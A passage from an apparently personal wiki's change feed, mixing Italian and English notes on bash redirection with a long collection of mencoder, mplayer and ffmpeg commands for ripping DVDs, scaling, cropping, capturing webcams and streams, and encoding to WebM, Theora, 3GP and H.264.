       #  Redirige il descrittore di file i in j.&lt;br /&gt;
       #  Tutti gli output del file puntato da i vengono inviati al file &lt;br /&gt;
       #+ puntato da j.&lt;br /&gt;
 &lt;br /&gt;
    &amp;gt;&amp;amp;j&lt;br /&gt;
      # Redirige, per default, il descrittore di file 1 (lo stdout) in j. 81       # Tutti gli stdout vengono inviati al file puntato da j.&lt;br /&gt;
&lt;br /&gt;
     0&amp;lt; NOMEFILE&lt;br /&gt;
      &amp;lt; NOMEFILE&lt;br /&gt;
       # Riceve l'input da un file.&lt;br /&gt;
       # È il compagno di &amp;quot;&amp;gt;&amp;quot; e vengono spesso usati insieme.&lt;br /&gt;
       #&lt;br /&gt;
       # grep parola-da-cercare &amp;lt;nomefile&lt;br /&gt;
 &lt;br /&gt;
    [j]&amp;lt;&amp;gt;nomefile&lt;br /&gt;
       #  Apre il file &amp;quot;nomefile&amp;quot; in lettura e scrittura, e gli assegna il&lt;br /&gt;
       #+ descrittore di file &amp;quot;j&amp;quot;.&lt;br /&gt;
       #  Se il file &amp;quot;nomefile&amp;quot; non esiste, lo crea.&lt;br /&gt;
       #  Se il descrittore di file &amp;quot;j&amp;quot; non viene specificato, si assume per &lt;br /&gt;
       #+ default il df 0, lo stdin.&lt;br /&gt;
       #&lt;br /&gt;
       #  Una sua applicazione è quella di scrivere in un punto specifico &lt;br /&gt;
       #+ all'interno di un file.&lt;br /&gt;
       echo 1234567890 &amp;gt; File    #  Scrive la stringa in &amp;quot;File&amp;quot;.&lt;br /&gt;
       exec 3&amp;lt;&amp;gt; File             #  Apre &amp;quot;File&amp;quot; e gli assegna il df 3.&lt;br /&gt;
       read -n 4 &amp;lt;&amp;amp;3             #  Legge solo 4 caratteri.&lt;br /&gt;
       echo -n . &amp;gt;&amp;amp;3             #  Scrive il punto decimale dopo i&lt;br /&gt;
                                 #+ caratteri letti.&lt;br /&gt;
       exec 3&amp;gt;&amp;amp;-                 #  Chiude il df 3.&lt;br /&gt;
       cat File                  #  ==&amp;gt; 1234.67890&lt;br /&gt;
       # È l'accesso casuale, diamine.&lt;br /&gt;
       # Pipe.&lt;br /&gt;
       # Strumento generico per concatenare processi e comandi.&lt;br /&gt;
       # Simile a &amp;quot;&amp;gt;&amp;quot;, ma con effetti più generali.&lt;br /&gt;
       # Utile per concatenare comandi, script, file e programmi.&lt;br /&gt;
       cat *.txt | sort | uniq &amp;gt; file-finale&lt;br /&gt;
       # Ordina gli output di tutti i file .txt e cancella le righe doppie,&lt;br /&gt;
       # infine salva il risultato in &amp;quot;file-finale&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Insert text at the end of a file (appending):&lt;br /&gt;
 echo &amp;quot;text at the end of file&amp;quot; &amp;gt;&amp;gt; filewhichweappendto.txt&lt;br /&gt;
* Insert text at the beginning of a file (prepending):&lt;br /&gt;
 echo &amp;quot;$(echo 'text that will be added as first line' | cat - filewhichweappendto.txt)&amp;quot; &amp;gt; filewhichweappendto.txt&lt;br /&gt;
or&lt;br /&gt;
 echo -e &amp;quot;text that will be added as first line\n$(cat filewhichweappendto.txt)&amp;quot; &amp;gt; filewhichweappendto.txt&lt;br /&gt;
or&lt;br /&gt;
 sed -i '1s/^/text that will be added as first line\n/' filewhichweappendto.txt&lt;br /&gt;
&lt;br /&gt;
== error messages ==&lt;br /&gt;
&lt;br /&gt;
=== &amp;quot;Insecure directory in $ENV{PATH}&amp;quot; ===&lt;br /&gt;
* I got this in a command running in a cron, '''''munin-cron'''''.&lt;br /&gt;
* solved adding&lt;br /&gt;
 PATH=/usr/bin:/bin&lt;br /&gt;
into&lt;br /&gt;
 /etc/cron.d/munin&lt;br /&gt;
* having there the full path for every script, path is not really needed, but required from perl scripts called from  munin plugins&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Encoding_from_command_line&amp;diff=6425</id>
		<title>Encoding from command line</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Encoding_from_command_line&amp;diff=6425"/>
		<updated>2024-08-07T23:44:33Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Filters */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;elwood _musicali # for a in ls ./*.* ; do ffmpeg -y -i &amp;quot;$a&amp;quot; -acodec mp3 -f flv /scratch/`echo &amp;quot;$a&amp;quot;|sed -e s@' '@'_'@g`; done&lt;br /&gt;
== Quick commands to Encode/Decode Multimedia files ==&lt;br /&gt;
http://www.ffmpeg.org/libavfilter.html&lt;br /&gt;
=== DVD ===&lt;br /&gt;
==== Rip DVD to DivX ====&lt;br /&gt;
# count dvd titles, this example is using 8 of them:&lt;br /&gt;
# audio:&lt;br /&gt;
 mencoder dvd://1 -ovc frameno -o frameno.avi -oac mp3lame -lameopts vbr=3 -alang es -chapter 1-8&lt;br /&gt;
# video. &lt;br /&gt;
# last command output will suggest a '''vbitrate=xxx''' value:&lt;br /&gt;
 mencoder dvd://1 -ovc lavc -lavcopts vcodec=mpeg4:vhq:v4mv:vbitrate=1000:vpass=1 -oac copy -o movie.avi -chapter 1-8&lt;br /&gt;
 mencoder dvd://1 -ovc lavc -lavcopts vcodec=mpeg4:vhq:v4mv:vbitrate=1000:vpass=2 -oac copy -o movie.avi -chapter 1-8&lt;br /&gt;
# divx will be movie.avi.&lt;br /&gt;
==== Rip DVD generic ====&lt;br /&gt;
modo I&lt;br /&gt;
 mencoder /dev/dvd-hdd -o CINEMA_STRANGE.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4&lt;br /&gt;
modo II&lt;br /&gt;
~15 Min.&lt;br /&gt;
 mencoder dvd://1 -ovc frameno -o frameno.avi -oac mp3lame -lameopts vbr=3 -alang es -chapter 1-8&lt;br /&gt;
~100 Min.&lt;br /&gt;
 mencoder dvd://1  -ovc lavc -lavcopts vcodec=mpeg4:vhq:v4mv:vbitrate=1130:vpass=1 -oac copy -o movie.avi -chapter 1-8 &lt;br /&gt;
 mencoder dvd://1  -ovc lavc -lavcopts vcodec=mpeg4:vhq:v4mv:vbitrate=1130:vpass=2 -oac copy -o movie.avi -chapter 1-8 &lt;br /&gt;
==== DVD 4:3 ====&lt;br /&gt;
 mencoder -oac lavc -ovc lavc -of mpeg -mpegopts format=dvd -vf scale=720:576 \&lt;br /&gt;
 -srate 48000 -af lavcresample=48000 -lavcopts vcodec=mpeg2video -ofps 25 \&lt;br /&gt;
 -o /fileout.mpg /filein.avi&lt;br /&gt;
==== PAL Widescreen====&lt;br /&gt;
 mencoder -of mpeg -mpegopts format=dvd:vaspect=16/9:vframerate=25 -srate 48000 \&lt;br /&gt;
 -ofps 25 -ovc lavc -oac lavc -lavcopts \&lt;br /&gt;
 codec=mpeg2video:vrc_buf_size=1835:keyint=15:vrc_maxrate=9800:vbitrate=4900:aspect=16/9:acodec=ac3:abitrate=192 \&lt;br /&gt;
 -o /fileout.mpeg2  /filein.mpg&lt;br /&gt;
==== PAL Fullscreen ====&lt;br /&gt;
 mencoder -of mpeg -mpegopts format=dvd:vaspect=4/3:vframerate=25 -srate 48000 \&lt;br /&gt;
 -ofps 25 -ovc lavc -oac lavc -lavcopts \&lt;br /&gt;
 codec=mpeg2video:vrc_buf_size=1835:keyint=15:vrc_maxrate=9800:vbitrate=4900:aspect=4/3:acodec=ac3:abitrate=192 \&lt;br /&gt;
 -o /fileout.mpeg2  /filein.mpg&lt;br /&gt;
====  Encode DVD title #2, only selected chapters: ==== &lt;br /&gt;
 mencoder dvd://2 -chapter 10-15 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4&lt;br /&gt;
==== Encode DVD title #2, resizing to 640x480:==== &lt;br /&gt;
 mencoder dvd://2 -vf scale=640:480 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4&lt;br /&gt;
==== Encode DVD title #2, resizing to 512xHHH (keep aspect ratio):==== &lt;br /&gt;
 mencoder dvd://2 -vf scale -zoom -xy 512 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4&lt;br /&gt;
==== The same, but with bitrate set to 1800kbit and optimized macroblocks:==== &lt;br /&gt;
 mencoder dvd://2 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4:mbd=1:vbitrate=1800&lt;br /&gt;
==== The same, but with MJPEG compression:==== &lt;br /&gt;
 mencoder dvd://2 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mjpeg:mbd=1:vbitrate=1800&lt;br /&gt;
&lt;br /&gt;
 ffmpeg -i  inputfile.mov  -acodec mp2 -ar 44100 -ac 2 -ab 112000 -vcodec mjpeg -qscale 2  output.mpg&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Filters ===&lt;br /&gt;
&lt;br /&gt;
* to add filters to ffmpeg or mencoder command, use the option '''-vf'''&lt;br /&gt;
&lt;br /&gt;
==== Remap ====&lt;br /&gt;
&lt;br /&gt;
|https://trac.ffmpeg.org/wiki/RemapFilter RemapFilter] &amp;quot;remaps the pixels to a new x,y destination based on two files ymap/xmap&amp;quot;&lt;br /&gt;
&lt;br /&gt;
for quad fisheye to equirectangular, 190° lens&lt;br /&gt;
&lt;br /&gt;
 ffmpeg -i source.mp4 -vf v360=dfisheye:e:ih_fov=190:iv_fov=190:yaw=0 -y output_file&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Scale ====&lt;br /&gt;
* with '''mencoder'''&lt;br /&gt;
 mencoder video.mpg -oav copy -ovc copy -vf scale=120:100 -o scaled.mpg&lt;br /&gt;
&lt;br /&gt;
* with '''ffmpeg'''&lt;br /&gt;
 ffmpeg -i &amp;lt;file&amp;gt; -vf scale=&amp;lt;x&amp;gt;:&amp;lt;y&amp;gt; &amp;lt;file-cropped&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# x and y are pixel values&lt;br /&gt;
# If value is 0, the input size is used&lt;br /&gt;
# If value is -1, maintains the aspect ratio &lt;br /&gt;
#: this can brake the process having the proportional side size not divisible by 2 (x264 codecs)&lt;br /&gt;
# default is 0.&lt;br /&gt;
&lt;br /&gt;
===== '''&amp;quot;not divisible by 2&amp;quot;''' (x264 issue) =====&lt;br /&gt;
&lt;br /&gt;
* trying to upscale a video from ''854x480 [PAR 1:1 DAR 427:240]'' to -vf scale=-1:720 , got this message:&lt;br /&gt;
&lt;br /&gt;
'' width or height not divisible by 2 (1281x720)''&lt;br /&gt;
&lt;br /&gt;
* I'm running periodically a [http://videotecahelp.webhop.net script] encoding clips for a [http://videotecahelp.webhop.net video server], using multiple formats for every clip and scaling them respectively to x:360 , x:480 , x:720 , the common &amp;quot; -vf scale:-1:360 &amp;quot; gives &amp;quot;not divisible by 2&amp;quot; error for some input/output sizes, the solution has been found with a formula:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; &amp;gt;&lt;br /&gt;
&lt;br /&gt;
 scale=ceil(a*480)+mod(ceil(a*480)\,2):480&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* in words: scale the height is proportionally to the new width plus the rest of the division by two of the proportional size. That means that, for example we take a '''480 x 352''' video and we scale it to 360, the new width (without my formula) would have been 491 (giving the codec an error) the formula divides it by 2 and ad adds the rest ( '''''1''''' ) to the output width.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* these are the calculations I've made to reach the solution:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; &amp;gt;&lt;br /&gt;
 a = 320 / 240 = 1,3333 &lt;br /&gt;
 scale=ceil(a*XXX):XXX&lt;br /&gt;
&lt;br /&gt;
 1080 * 1,3333 = 1439,8   ceil = 1440&lt;br /&gt;
 720 * 1,3333  = 959,9999 ceil = 960&lt;br /&gt;
 480 * 1,3333  = 639,9    ceil = 640 &lt;br /&gt;
 360 * 1,3333  = 479,9    ceil = 480    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 a = 352 / 288 = 1,2222 &lt;br /&gt;
 scale=ceil(a*XXX):XXX&lt;br /&gt;
&lt;br /&gt;
 1080 * 1,2222 = 1,319    ceil = 1320&lt;br /&gt;
 720 * 1,2222  = 879,9999 ceil = 880&lt;br /&gt;
 480 * 1,2222  = 586,6    ceil = 587   ERR&lt;br /&gt;
 360 * 1,2222  = 439,9    ceil = 440    &lt;br /&gt;
&lt;br /&gt;
 a = 480 / 352 = 1,3636&lt;br /&gt;
 scale=ceil(a*XXX):XXX&lt;br /&gt;
&lt;br /&gt;
 1080 * 1,3636 = 1472,6  ceil = 1473   ERR&lt;br /&gt;
 720 * 1,3636  = 981,7   ceil = 982&lt;br /&gt;
 480 * 1,3636  = 654,5   ceil = 655    ERR&lt;br /&gt;
 360 * 1,3636  = 490,8   ceil = 491    ERR&lt;br /&gt;
&lt;br /&gt;
 a = 480 / 264 = 1,8181&lt;br /&gt;
 scale=ceil(a*XXX):XXX&lt;br /&gt;
&lt;br /&gt;
 1080 * 1,8181 = 1963,5  ceil = 1964  &lt;br /&gt;
 720 * 1,8181  = 1309,03 ceil = 1310&lt;br /&gt;
 480 * 1,8181  = 872,6   ceil = 873    ERR&lt;br /&gt;
 360 * 1,8181  = 654,51  ceil = 655    ERR&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # final expression:&lt;br /&gt;
 scale=ceil(a*480)+mod(ceil(a*480)\,2):480&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Crop ====&lt;br /&gt;
 mplayer -vf crop=470:350:5:100 &amp;quot;$fileee&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* tagliare un video dal secondo minuto ('''120''') fino a 20 secondi dopo&lt;br /&gt;
 mencoder  -ss '''120''' -endpos '''20''' video.avi -o video_tagliato.avi -ovc lavc&lt;br /&gt;
&lt;br /&gt;
==== Tagliare solo i primi 30 min (1800 sec.)====&lt;br /&gt;
 mencoder -endpos 1800 rec-CUATRO-20070213-01:30.avi -o /mirror160/_video/__Temp/rec-CUATRO-20070213-01:30_tagliato.avi -ovc copy -oac copy&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Television/Camera ===&lt;br /&gt;
==== Registrare dal DVB (Digital Video Broadcasting) ====&lt;br /&gt;
* Satellite o digitale terrestre.&lt;br /&gt;
 mencoder dvb://CUATRO  -ovc copy -oac copy -o Film.avi&lt;br /&gt;
==== MPEG PES...====&lt;br /&gt;
 mplayer -vo mpegpes -ao mpegpes -vop lavc=5000:25,expand=688:576:-1:-1:1,scale=688:563 \&lt;br /&gt;
  -cache 8192 -slave -nolirc  -subpos 80 -sub-bg-color 0 -sub-bg-alpha 255 -quiet&lt;br /&gt;
&lt;br /&gt;
==== Guardo la webcam con mplayer ====&lt;br /&gt;
* '''v4l2'''&lt;br /&gt;
 mplayer -cache 128 -tv driver=v4l2:width=800:height=480:outfmt=i420:device=/dev/video0 -vo xv tv://&lt;br /&gt;
* '''v4l''' &lt;br /&gt;
 mplayer tv:// -tv driver=v4l:width=640:height=480:outfmt=rgb24:device=/dev/video0:noaudio -flip&lt;br /&gt;
&lt;br /&gt;
==== recording webcam (old Video4Linux 1) with mencoder...====&lt;br /&gt;
* good quality&lt;br /&gt;
 mencoder tv:// -tv driver=v4l:width=640:height=480:outfmt=rgb24:device=/dev/video0:noaudio -flip \&lt;br /&gt;
 -o camed.avi -ovc lavc&lt;br /&gt;
* or less&lt;br /&gt;
 mencoder  tv:// -tv driver=v4l:width=320:height=240:fps=15:outfmt=rgb24:device=/dev/video0:alsa:forceaudio \&lt;br /&gt;
 -flip -ofps 11.44 -ovc lavc -lavcopts vcodec=rv10 -oac pcm -noskip -o prova.avi&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Images... ===&lt;br /&gt;
==== extract a frame in JPEG ====&lt;br /&gt;
* 1° frame&lt;br /&gt;
 ffmpeg -i &amp;lt;file sorgente&amp;gt; -ss 00:00:00 -t 0.04 -f mjpeg &amp;lt;outputfile.jpg&amp;gt;&lt;br /&gt;
==== Generate gif89a (-gif animation) mplayer from a video ====&lt;br /&gt;
 mplayer mov03331.mpg -loop 0 -vo gif89a:fps=15.0:output=caffe1.gif&lt;br /&gt;
&lt;br /&gt;
==== create a video from image ====&lt;br /&gt;
&lt;br /&gt;
 ffmpeg -loop_input -vframes &amp;lt;number_of_frames&amp;gt; -i &amp;lt;input_image&amp;gt; &amp;lt;output_video&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ffmpeg -i INPUT.jpg -an -vcodec libx264 -coder 1 -flags +loop -cmp +chroma -subq 10 -qcomp 0.6 -qmin 10 -qmax 51 -qdiff 4 -flags2 +dct8x8 -trellis 2 -partitions +parti8x8+parti4x4 -crf 24 -threads 0 -r 25 -g 25 -y OUTPUT.mp4&lt;br /&gt;
&lt;br /&gt;
=== Network ===&lt;br /&gt;
==== Save a stream ====&lt;br /&gt;
 mplayer http://mplayer.hq/example.avi -dumpstream -dumpfile dumpato.avi&lt;br /&gt;
==== Grabando ,cortando y comprimiendo un stream de tv3====&lt;br /&gt;
 mplayer &amp;quot;mms://directe.3alacarta.tvcatalunya.com/reflector:60738?aifp=fhgt&amp;amp;WMCache=0&amp;quot; -dumpstream -dumpfile dumpato.avi&lt;br /&gt;
&lt;br /&gt;
 mencoder  -ss 826.5  dumpato.avi -o dumpato_tagliato.avi -ovc copy -oac copy&lt;br /&gt;
 &lt;br /&gt;
 mencoder  -endpos 108  dumpato_tagliato.avi -o dumpato_montato.avi&lt;br /&gt;
&lt;br /&gt;
 mencoder  dumpato_montato.avi -o dumpato_copresv.avi  -oac copy  -ovc lavc -of mpeg -lavcopts vcodec=mpeg2video -ofps 1&lt;br /&gt;
&lt;br /&gt;
==== Fare il dumpo di un stream (TV da internet per esempio) in XVID ====&lt;br /&gt;
 mencoder mms://sream&lt;br /&gt;
 -ovc xvid  -xvidencopts bitrate=1150 -vf scale=640:480 -oac mp3lame -o fileout.avi&lt;br /&gt;
==== ...In  DV ====&lt;br /&gt;
 mencoder timegousbyconloli.avi -ovc libdv -vf scale=720:576 -oac pcm -o timegousbyconlolippp.avi&lt;br /&gt;
==== Ascoltare l'audio di mplayer in un host remoto: Vedi [[ESOUND]] ====&lt;br /&gt;
* faccio partire il server audio di rete su elwood:&lt;br /&gt;
 [xunil@elwood ~]$ esd -tcp -port 9876 -public &amp;amp;&lt;br /&gt;
 [1] 3849&lt;br /&gt;
 - accepting connections on port 9876&lt;br /&gt;
* Apro il video (uno stream in questo caso) specificando host e porta del server audio&lt;br /&gt;
 [xunil@zombie ~]$ mplayer -ao esd:elwood:9876 mms://rntlivewm.rai.it/_rn24_live_&lt;br /&gt;
*così vedo il vido su ''zombie'' e sento l'audio su ''elwood'', cioè vedo dalla cucina e sento dalla camera da letto, non proprio comodo:&lt;br /&gt;
* allora trorno in camera, da ''elwood'', e faccio:&lt;br /&gt;
 [xunil@elwood ~]$ ssh -X zombie mplayer -ao esd:elwood:9876 mms://rntlivewm.rai.it/_rn24_live_&lt;br /&gt;
* adesso la situazione è strana, una persona normale, sana non noterebbe differenza tra &amp;quot;fare doppio click&amp;quot; sul video o&lt;br /&gt;
&lt;br /&gt;
==== Mandare l'audio su un altro host (elwood) ====&lt;br /&gt;
 mplayer -ao esd:elwood:9876  r24-24luglio.avi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
==== Motion JPEG audio PCM ====&lt;br /&gt;
il &amp;quot;2&amp;gt; /dev/null&amp;quot; serve per 'buttare' lo standard error, nel caso qualcosa non funzioni, rimuoverlo dal comando.&lt;br /&gt;
 mencoder video.avi -oac pcm -ovc lavc -lavcopts vcodec=mjpeg -o MJPEG_video.avi 2&amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
==== Motion PNG (MPNG) ==== &lt;br /&gt;
&lt;br /&gt;
 mencoder mf://*.png -mf w=800:h=600:fps=25:type=png -ovc copy -oac copy -o output.avi&lt;br /&gt;
&lt;br /&gt;
==== Motion TGA (MTGA) ====&lt;br /&gt;
&lt;br /&gt;
 mencoder mf://*.tga -mf w=800:h=600:fps=25:type=tga -ovc copy -oac copy -o output.avi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== WebM ===&lt;br /&gt;
* /usr/share/ffmpeg/libvpx-720p.ffpreset &lt;br /&gt;
&lt;br /&gt;
  vcodec=libvpx&lt;br /&gt;
  g=120&lt;br /&gt;
  rc_lookahead=16&lt;br /&gt;
  level=216&lt;br /&gt;
  profile=0&lt;br /&gt;
  qmax=42&lt;br /&gt;
  qmin=10&lt;br /&gt;
  vb=2M&lt;br /&gt;
* ignored unless using -pass 2&lt;br /&gt;
  maxrate=24M&lt;br /&gt;
  minrate=100k&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ffmpeg -i input.mp4 -s 1280x720 -vpre libvpx-720p -b 3900k -pass 1 -an -f webm -y output.webm&lt;br /&gt;
 ffmpeg -i input.mp4 -s 1280x720 -vpre libvpx-720p -b 3900k -pass 2 -acodec libvorbis -ab 128k -f webm -y output.webm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ffmpeg -pass 1 -passlogfile pr7.webm -qmin 5 -qmax 51 -i master/879.m2t -vcodec libvpx -b:v 104800 -s 320x200 -an -f webm -y NUL&lt;br /&gt;
 ffmpeg -pass 2 -passlogfile pr7.webm -qmin 5 -qmax 51 -i master/879.m2t -vcodec libvpx -b:v 104800 -s 320x200 -acodec libvorbis -ac 1 -b:a 64k -y  video/pr7.webm&lt;br /&gt;
&lt;br /&gt;
 ffmpeg  -i master/743.MTS -s 360x240  -vpre libvpx-360p -pass 1 -passlogfile  log743_7.webm -qmin 5 -qmax 51  -b:v 500k -an -f webm -y video/743_7.webm&lt;br /&gt;
 ffmpeg  -i master/743.MTS -s 360x240  -vpre libvpx-360p -pass 1 -passlogfile  log743_7.webm -qmin 5 -qmax 51  -b:v 500k -acodec libvorbis -ac 1 -b:a 96k -f webm -y video/743_7.webm&lt;br /&gt;
&lt;br /&gt;
=== Theora ===&lt;br /&gt;
==== Convert TO theora ====&lt;br /&gt;
*Examples: (from ffmpeg2theora help)&lt;br /&gt;
 ffmpeg2theora videoclip.avi (will write output to videoclip.ogv)&lt;br /&gt;
&lt;br /&gt;
 ffmpeg2theora videoclip.avi --subtitles subtitles.srt (same, with subtitles)&lt;br /&gt;
&lt;br /&gt;
 cat something.dv | ffmpeg2theora -f dv -o output.ogv -&lt;br /&gt;
&lt;br /&gt;
* Encode a series of images:&lt;br /&gt;
 ffmpeg2theora frame%06d.png -o output.ogv&lt;br /&gt;
&lt;br /&gt;
* Live streaming from V4L Device:&lt;br /&gt;
 ffmpeg2theora /dev/video0 -f video4linux --inputfps 15 -x 160 -y 128 -o - \&lt;br /&gt;
 | oggfwd icast2server 8000 password /theora.ogv&lt;br /&gt;
&lt;br /&gt;
* Live encoding from a DV camcorder (needs a fast machine):&lt;br /&gt;
 dvgrab - | ffmpeg2theora -f dv -x 352 -y 288 -o output.ogv -&lt;br /&gt;
&lt;br /&gt;
* Live encoding and streaming to icecast server:&lt;br /&gt;
  dvgrab --format raw - \&lt;br /&gt;
   | ffmpeg2theora -f dv -x 160 -y 128 -o /dev/stdout - \&lt;br /&gt;
   | oggfwd icast2server 8000 password /theora.ogv&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Informazioni mandando in Play da MPLAYER ====&lt;br /&gt;
Eseguendo il comando che segue , le opzioni '-v -identify' ci posso dare delle informazioni molto utili del video che mandiamo in PLAY:&lt;br /&gt;
&lt;br /&gt;
  mplayer -v -identify -aspect 4:3 /root/Desktop/Prova03.avi  &lt;br /&gt;
&lt;br /&gt;
==== EXAMPLES OF MENCODER USAGE  (from ~$ man mencoder) ====&lt;br /&gt;
&lt;br /&gt;
*Encode all *.jpg files in the current directory:&lt;br /&gt;
 mencoder &amp;quot;mf://*.jpg&amp;quot; -mf fps=25 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4&lt;br /&gt;
*Encode from a tuner (specify a format with -vf format):&lt;br /&gt;
 mencoder -tv driver=v4l:width=640:height=480 tv:// -o tv.avi -ovc rawnuv&lt;br /&gt;
&lt;br /&gt;
=== MPEG2 M2S MPEGII ===&lt;br /&gt;
http://www.mplayerhq.hu/DOCS/HTML/en/index.html&lt;br /&gt;
http://forum.doom9.org/archive/index.php/t-110761.html&lt;br /&gt;
&lt;br /&gt;
* ''mencoder''&lt;br /&gt;
'''OPZIONI DEMUXER/FLUSSO (STREAM)'''&lt;br /&gt;
&lt;br /&gt;
 '''-pvr''' &amp;lt;opzione1:opzione2:...&amp;gt; (solo PVR)&lt;br /&gt;
 Questa  opzione  imposta varie proprietà di codifica per il modulo di cattura PVR.  Deve essere usata con schede di codifica MPEG via hardware supp-&lt;br /&gt;
 portate dal driver V4L2.  Le schede Hauppauge WinTV PVR-150/250/350/500 e tutte quelle basate su IVTV sono conosciute come schede  di  cattura  PVR.&lt;br /&gt;
 Attenzione che solamente il kernel Linux 2.6.18 o maggiore è capace di gestire il flusso MPEG attraverso lo strato V4L2.  Per la cattura hardware di&lt;br /&gt;
 un flusso MPEG e la visione attraverso MPlayer/MEncoder, usa ’pvr://’ come URL del filmato.&lt;br /&gt;
&lt;br /&gt;
 fmt=&amp;lt;valore&amp;gt;&lt;br /&gt;
  Seleziona un formato MPEG per la codifica:&lt;br /&gt;
   ps:    MPEG-2 Program Stream (default)&lt;br /&gt;
   ts:    MPEG-2 Transport Stream&lt;br /&gt;
   mpeg1: MPEG-1 System Stream&lt;br /&gt;
   vcd:   flusso compatibile Video CD&lt;br /&gt;
   svcd:  flusso compatibile Super Video CD&lt;br /&gt;
   dvd:   flusso compatibile DVD&lt;br /&gt;
&lt;br /&gt;
==== TS (Transport Stream) ====&lt;br /&gt;
&lt;br /&gt;
 mencoder -of lavf -lavfopts format=mpegts \&lt;br /&gt;
 -lavcopts vcodec=mpeg2video:acodec=mp2:abitrate=224:vbitrate=3200 -o test2_mpegts_1109.m2t \&lt;br /&gt;
 -ovc lavc -oac lavc /export/data/mediaroot/video/mid/1109.mp4&lt;br /&gt;
&lt;br /&gt;
==== PES (Packetized Elementary Stream) ====&lt;br /&gt;
&lt;br /&gt;
=== DV ===&lt;br /&gt;
&lt;br /&gt;
==== From Mpeg DVD (vob) ====&lt;br /&gt;
&lt;br /&gt;
 ffmpeg -i /mnt/win/linux/dvd_da_convertire/kidd-pivot-01.MPG -target dv /media/LACIE/temp/kidd-pivot-01.dv&lt;br /&gt;
&lt;br /&gt;
=== 3pg Mobile Phones ===&lt;br /&gt;
* Nokia XpressMusic, display:320x240&lt;br /&gt;
&lt;br /&gt;
==== mpeg4 libamr_nb ====&lt;br /&gt;
 ffmpeg -i &amp;quot;$video&amp;quot; -s 320x240 -r 14.99 -vcodec mpeg4 -ac 1 -ar 8000 -acodec libamr_nb -b 80k -ab 10.2k -y $out&lt;br /&gt;
==== mpeg4 libamr_wb (va a scatti l'audio) ====&lt;br /&gt;
 ffmpeg -i &amp;quot;$video&amp;quot; -s 320x240 -r 14.99 -vcodec mpeg4 -ac 1 -ar 8000 -acodec libamr_nb -b 224k -ab 12.2k &lt;br /&gt;
==== mpeg4 libamr_wb (va a scatti l'audio) ====&lt;br /&gt;
 ffmpeg -i &amp;quot;$video&amp;quot; -s 320x240 -r 14.99 -vcodec mpeg4 -ac 1 -ar 16000 -acodec libamr_wb -b 100k -ab 18.25k -y  &lt;br /&gt;
&lt;br /&gt;
 ffmpeg -i &amp;quot;$video&amp;quot; -s 320x240 -r 14.99 -vcodec mpeg4 -ac 1 -ar 16000 -acodec libamr_wb -b 80k -ab 12.65k -y &lt;br /&gt;
==== h263p mp3 (non letto da cell Nokia per via dell'audio mp3) ====&lt;br /&gt;
 ffmpeg -i &amp;quot;$video&amp;quot; -s qcif    -r 20    -vcodec h263p -acodec mp3 -ar 22050 -b 128k -ab 32k -y $out&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== H.264 (x264) ===&lt;br /&gt;
http://www.mplayerhq.hu/DOCS/HTML/en/menc-feat-x264.html&lt;br /&gt;
&lt;br /&gt;
http://en.wikipedia.org/wiki/X264&lt;br /&gt;
&lt;br /&gt;
http://en.wikipedia.org/wiki/H.264&lt;br /&gt;
&lt;br /&gt;
====Very high quality====&lt;br /&gt;
 subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid:weight_b	6fps	0dB&lt;br /&gt;
====High quality====&lt;br /&gt;
 subq=5:8x8dct:frameref=2:bframes=3:b_pyramid:weight_b	13fps	-0.89dB&lt;br /&gt;
====Fast====&lt;br /&gt;
 subq=4:bframes=2:b_pyramid:weight_b	17fps	-1.48dB&lt;br /&gt;
&lt;br /&gt;
 mencoder -v -o video.264&lt;br /&gt;
&lt;br /&gt;
 level_idc=41:bframes=3:frameref=2:nopsnr:nossim:pass=1:threads=auto&lt;br /&gt;
&lt;br /&gt;
 mencoder $ifile -of avi -vf scale=352:288 -ovc x264 \&lt;br /&gt;
 -x264encopts bitrate=1000:subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid:weight_b:threads=auto \&lt;br /&gt;
 -o Desktop/test2641.avi&lt;br /&gt;
 &lt;br /&gt;
